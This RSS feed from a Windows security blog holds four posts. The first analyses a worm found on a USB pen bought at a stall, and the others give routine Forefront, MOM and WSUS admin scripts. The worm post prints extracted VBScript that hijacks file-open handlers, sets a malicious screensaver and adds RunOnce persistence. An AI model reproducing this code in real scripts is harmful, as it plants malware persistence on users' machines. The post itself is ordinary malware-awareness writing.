<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security for a day &#187; VBS</title>
	<atom:link href="http://www.chris-mohan.com/category/vbs/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.chris-mohan.com</link>
	<description>Securing Windows Networks or giving it a go in Australia...</description>
	<lastBuildDate>Sun, 29 Aug 2010 13:00:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>From China with Love</title>
		<link>http://www.chris-mohan.com/2010/06/from-china-with-love/</link>
		<comments>http://www.chris-mohan.com/2010/06/from-china-with-love/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 07:34:40 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[VBS]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/2010/06/from-china-with-love/</guid>
		<description><![CDATA[I received two gifts from a family member returning from China. It was a lovely though and I was touched by the gesture. Both items are of the geek variety and bought from stalls, one a ball point pen with a built in 2GB USB stick that can act as a voice recorder and the [...]]]></description>
			<content:encoded><![CDATA[<p>I received two gifts from a family member returning from China.</p>
<p style="text-align: left;">It was a lovely though and I was touched by the gesture.</p>
<p style="text-align: left;">Both items are of the geek variety and bought from stalls, one a ball point pen with a built in 2GB USB stick that can act as a voice recorder and the other a 240GB USB stick.</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<div id="attachment_657" class="wp-caption alignleft" style="width: 458px"><a href="http://www.chris-mohan.com/wp-content/uploads/2010/06/Penworm.jpg"><img class="size-full wp-image-657  " title="Penworm" src="http://www.chris-mohan.com/wp-content/uploads/2010/06/Penworm.jpg" alt="2GB USB voice recorder pen" width="448" height="69" /></a><p class="wp-caption-text">3-in-1 Pen-recorder-malware </p></div>
<p style="text-align: left;">
<p style="text-align: center;">
<div id="attachment_659" class="wp-caption aligncenter" style="width: 269px"><a href="http://www.chris-mohan.com/wp-content/uploads/2010/06/240gbusb.jpg"><img class="size-full wp-image-659 " title="240gbusb" src="http://www.chris-mohan.com/wp-content/uploads/2010/06/240gbusb.jpg" alt="" width="259" height="202" /></a><p class="wp-caption-text">240GB Flash drive - really?</p></div>
<p>Now, from having worked with companies that operate in Asia and especially China, I&#8217;ve often discovered that some of pieces of technology come with free added &#8220;extras&#8221;.</p>
<p>I have to admit some level of amazement when told of the 240GB USB <em>flash</em> drive, especial when the afore mentioned relative said he hadn&#8217;t seen the 500GB USB <em>flash</em> drive after he&#8217;d bought this one. I thought the largest current flash drive available was on 128GB, sadly it appears I was right. A quick search of 240G Sony quick turned up this <a href="http://flashdrivefacts.wordpress.com/2009/03/26/240gb-sony-microvault-counterfeit-fake-usb-flash-drive-model-number-usm240024/">page</a>. This thing is a total fake and is actually a whooping <span style="text-decoration: underline;"><strong>32MB</strong></span>. However it looks pretty and I can amaze my friends and family with a 234GB drive that I can&#8217;t save anything to. Might give it to the Auditors next time they&#8217;re in the office.</p>
<div id="attachment_660" class="wp-caption aligncenter" style="width: 278px"><a href="http://www.chris-mohan.com/wp-content/uploads/2010/06/fake-usb.jpg"><img class="size-full wp-image-660" title="fake usb" src="http://www.chris-mohan.com/wp-content/uploads/2010/06/fake-usb.jpg" alt="" width="268" height="74" /></a><p class="wp-caption-text">Wow it&#39;s really 234GB - honest!</p></div>
<p>I plugged both USB devices in to a spare Linux machine, just to see it any software was on either. The Fake 240GB USB was empty, but the recording pen had lots of goodies.</p>
<p>The first thing that caught my eye was the autorun.ini file. A quick look at that pointed to a MS-DOS.COM saved on the pen. After a quick imaging of the files, I decide to open a copy of the MS-DOS.COM.</p>
<p>The random looking junk didn&#8217;t quite look like normal .COM file junk, if only I could have taken <a href="http://www.sans.org/canberra-2010/description.php?tid=4317">SANS Reverse-Engineering Malware: Malware Analysis Tools and Techniques course</a>, I may have been able to do a better analysis. However, halfway through the file, the weird characters disappeared and stuff I can recognize and understand appears in plain English.</p>
<p>This is some of what I extracted:</p>
<pre><span style="font-family: Courier New; font-size: 10pt;">Dim fs,rg
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">Set fs = CreateObject("scripting.filesystemobject")
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">Set rg = CreateObject("wscript.shell")
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">On Error Resume Next
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCR\.vbs\", "VBSFile"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCU\Control Panel\Desktop\SCRNSAVE.EXE","C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCU\Control Panel\Desktop\ScreenSaveTimeOut", "30"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCR\MSCFile\Shell\Open\Command\","C:\WINDOWS\pchealth\Global.exe"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCR\regfile\Shell\Open\Command\","C:\WINDOWS\pchealth\Global.exe"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\","C:\WINDOWS\system32\dllcache\Default.exe"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\","C:\WINDOWS\system32\dllcache\Default.exe"
</span></pre>
<p style="text-align: center;">&#8211; Plenty more VBS code chopped out &#8211;</p>
<p>This clearly isn&#8217;t a real .Com file. Two seconds of searching found out that this is a variant of the SillyFDC worm. A write up of it <a href="http://cyberwarfaremag.wordpress.com/2008/11/20/us-army-infected-by-worm/">here</a> talks how it was slapping the US military systems around back in 2008. Most antivirus software would have picked it up, but then again, why test it.</p>
<p>Moral of the story, if you buy kit like this, for the &#8220;best price&#8221; for a back street stall, buyer beware. Unless you&#8217;re a Malware researcher then go mad, it&#8217;s Christmas day with every item bought!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/from-china-with-love/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Forefront and MOM agents not playing nice on the MOM console</title>
		<link>http://www.chris-mohan.com/2008/08/forefront-and-mom-agents/</link>
		<comments>http://www.chris-mohan.com/2008/08/forefront-and-mom-agents/#comments</comments>
		<pubDate>Sun, 03 Aug 2008 04:23:51 +0000</pubDate>
		<dc:creator>Chris Mohan</dc:creator>
				<category><![CDATA[Forefront]]></category>
		<category><![CDATA[VBS]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=65</guid>
		<description><![CDATA[These annoying errors keep popping up in my Forefront MOM console from Forefront MOM agents on random machines around the network. Error in the MOM Console Type: Warning Provider Name: Application Event Number: 21294 Description: The response processor was denied to execute a response. The action account the MOM Agent is using doesn&#8217;t have enough [...]]]></description>
			<content:encoded><![CDATA[<p>These annoying errors keep popping up in my Forefront MOM console from Forefront MOM agents on random machines around the network.</p>
<p>Error in the MOM Console</p>
<table border="0" cellspacing="3" cellpadding="0">
<tbody>
<tr>
<td valign="top">Type:</td>
<td valign="top">Warning</td>
</tr>
<tr>
<td valign="top">Provider Name:</td>
<td valign="top">Application</td>
</tr>
<tr>
<td valign="top">Event Number:</td>
<td valign="top">21294</td>
</tr>
</tbody>
</table>
<p>Description:</p>
<p>The response processor was denied to execute a response. The action account the MOM Agent is using doesn&#8217;t have enough privileges. Returned error message: Access is denied.</p>
<table border="0" cellspacing="3" cellpadding="0">
<tbody>
<tr>
<td valign="top">Type:</td>
<td valign="top">Warning</td>
</tr>
<tr>
<td valign="top">Provider Name:</td>
<td valign="top">Application</td>
</tr>
<tr>
<td valign="top">Event Number:</td>
<td valign="top">21245</td>
</tr>
<tr>
<td valign="top">Provider Type:</td>
<td valign="top">Event Log</td>
</tr>
<tr>
<td valign="top">Source:</td>
<td valign="top">Microsoft Operations Manager</td>
</tr>
<tr>
<td valign="top">Category:</td>
<td valign="top">MOM Agent</td>
</tr>
</tbody>
</table>
<p>Description:</p>
<p>The response processor failed to execute a response. The response returned the error message: The object exporter specified was not found.</p>
<p>Ms have a paper on these typical errors</p>
<p><a href="http://technet.microsoft.com/en-us/library/bb643197%28TechNet.10%29.aspx">http://technet.microsoft.com/en-us/library/bb643197(TechNet.10).aspx</a></p>
<p><strong>My fix to sort out 50+ alerts of these in one fell swoop:</strong></p>
<p>From the MOM console sort the errors by type, select them, right click and copy select text. Drop it in to a test editor, clean it up and get a list of all the computer names.</p>
<p>Drop the computer names in to a text file,each on their own line and save (FailedTargets.txt)</p>
<p>To cheat and do a copy of quick fixes, my &#8220;Superior&#8221; batch skills came to the fore and I knocked this up with PSexec. Could have been done with SMS, login scripts or a proper script but quick and dirty &#8230;</p>
<p>Example:</p>
<p>psexec.exe to @FailedTargets.txt -c MOMclient.bat</p>
<p align="center">MOMclient.bat contents</p>
<p>REM Sets the correct dependence on the MOM service</p>
<p>sc config mom depend= rpcSs/eventLog/winmgmt</p>
<p>REM Stops then starts the MOM service on the target machine</p>
<p>net stop MOM</p>
<p>net start MOM</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2008/08/forefront-and-mom-agents/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Niffy VBS for deploying Forefront without MOM</title>
		<link>http://www.chris-mohan.com/2008/05/niffy-vbs-for-deploying-forefront-without-mom/</link>
		<comments>http://www.chris-mohan.com/2008/05/niffy-vbs-for-deploying-forefront-without-mom/#comments</comments>
		<pubDate>Mon, 05 May 2008 13:11:24 +0000</pubDate>
		<dc:creator>Chris Mohan</dc:creator>
				<category><![CDATA[Forefront]]></category>
		<category><![CDATA[VBS]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=37</guid>
		<description><![CDATA[Found this on the Ms technet forums after hacking up a batch script to do the same sort of thing. ****************************************************************** &#8216; Purpose: Launches install of Forefront client in &#8216; standalone mode &#8216;***************************************************************** Option Explicit Dim WshShell Dim MsgVar1 Dim MsgVar2 MsgVar1 = &#8220;Install Forefront Security&#8221; MsgVar2 = &#8220;Install Microsoft Forefront?&#8221; &#38; VbCrLf &#38; VbCrLf [...]]]></description>
			<content:encoded><![CDATA[<p>Found this on the <a title="Technet forums" href="http://forums.microsoft.com/ForeFront/ShowPost.aspx?PostID=3214143&amp;SiteID=41" target="_blank">Ms technet forums</a> after hacking up a batch script to do the same sort of thing.</p>
<p><span>******************************************************************<br />
&#8216; Purpose:   Launches install of Forefront client in<br />
&#8216;            standalone mode<br />
&#8216;*****************************************************************</span></p>
<p>Option Explicit<br />
Dim WshShell<br />
Dim MsgVar1<br />
Dim MsgVar2</p>
<p>MsgVar1 = &#8220;Install Forefront Security&#8221;</p>
<p>MsgVar2 = &#8220;Install Microsoft Forefront?&#8221; &amp; VbCrLf &amp; VbCrLf _<br />
&amp; &#8220;If Yes then please wait for end of job message.&#8221;<br />
If MsgBox(MsgVar2, vbQuestion + vbYesNo, MsgVar1) = vbNo Then WScript.Quit</p>
<p>Set WshShell = CreateObject(&#8220;WScript.Shell&#8221;)</p>
<p>WshShell.Run &#8220;CLIENTSETUP.EXE /nomom&#8221;, 0, True</p>
<p>MsgVar2 = &#8220;Forefront installation has completed.&#8221;<br />
MsgBox MsgVar2, vbInformation + vbOKOnly, MsgVar1</p>
<p>Set WshShell = nothing</p>
<p>My hacked batch script doesn&#8217;t use the clientsetup.exe, just the .msi files including the lastest virus definations pulled down from the Ms Catalog site. Worked for me and fits nicely on a small usb thumb drive.</p>
<p>REM<br />
REM Installs the Forefront client software<br />
REM<br />
\mp_ambits.msi<br />
REM<br />
REM Installs the Security State Assessment agent software<br />
\FCSSSA.msi<br />
REM<br />
REM Install Forefront client definations of 01-May-2008<br />
REM</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2008/05/niffy-vbs-for-deploying-forefront-without-mom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The trouble with clones</title>
		<link>http://www.chris-mohan.com/2008/02/the-trouble-with-clones/</link>
		<comments>http://www.chris-mohan.com/2008/02/the-trouble-with-clones/#comments</comments>
		<pubDate>Sat, 09 Feb 2008 06:04:46 +0000</pubDate>
		<dc:creator>Chris Mohan</dc:creator>
				<category><![CDATA[Forefront]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[VBS]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=16</guid>
		<description><![CDATA[WSUS and clones, it appears, have a bit of a problem. Despite sysprep and other steps cloned machines keep their WSUS ID. Therefore you only every see one of the cloned machines in the WSUS console. This is a well know issue, but one I keep forgetting &#8230; To avoid mucking around with purging registry [...]]]></description>
			<content:encoded><![CDATA[<p>WSUS and clones, it appears, have a bit of a problem.</p>
<p>Despite sysprep and other steps cloned machines keep their WSUS ID. Therefore you only every see one of the cloned machines in the WSUS console. This is a well know issue, but one I keep forgetting &#8230;</p>
<p>To avoid mucking around with purging registry keys, this handy batch or VB script sort everything out.</p>
<p><a href="http://msmvps.com/blogs/athif/archive/2005/09/04/65174.aspx" title="WSUS Clone fix" target="_blank">http://msmvps.com/blogs/athif/archive/2005/09/04/65174.aspx</a></p>
<p>Genius!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2008/02/the-trouble-with-clones/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
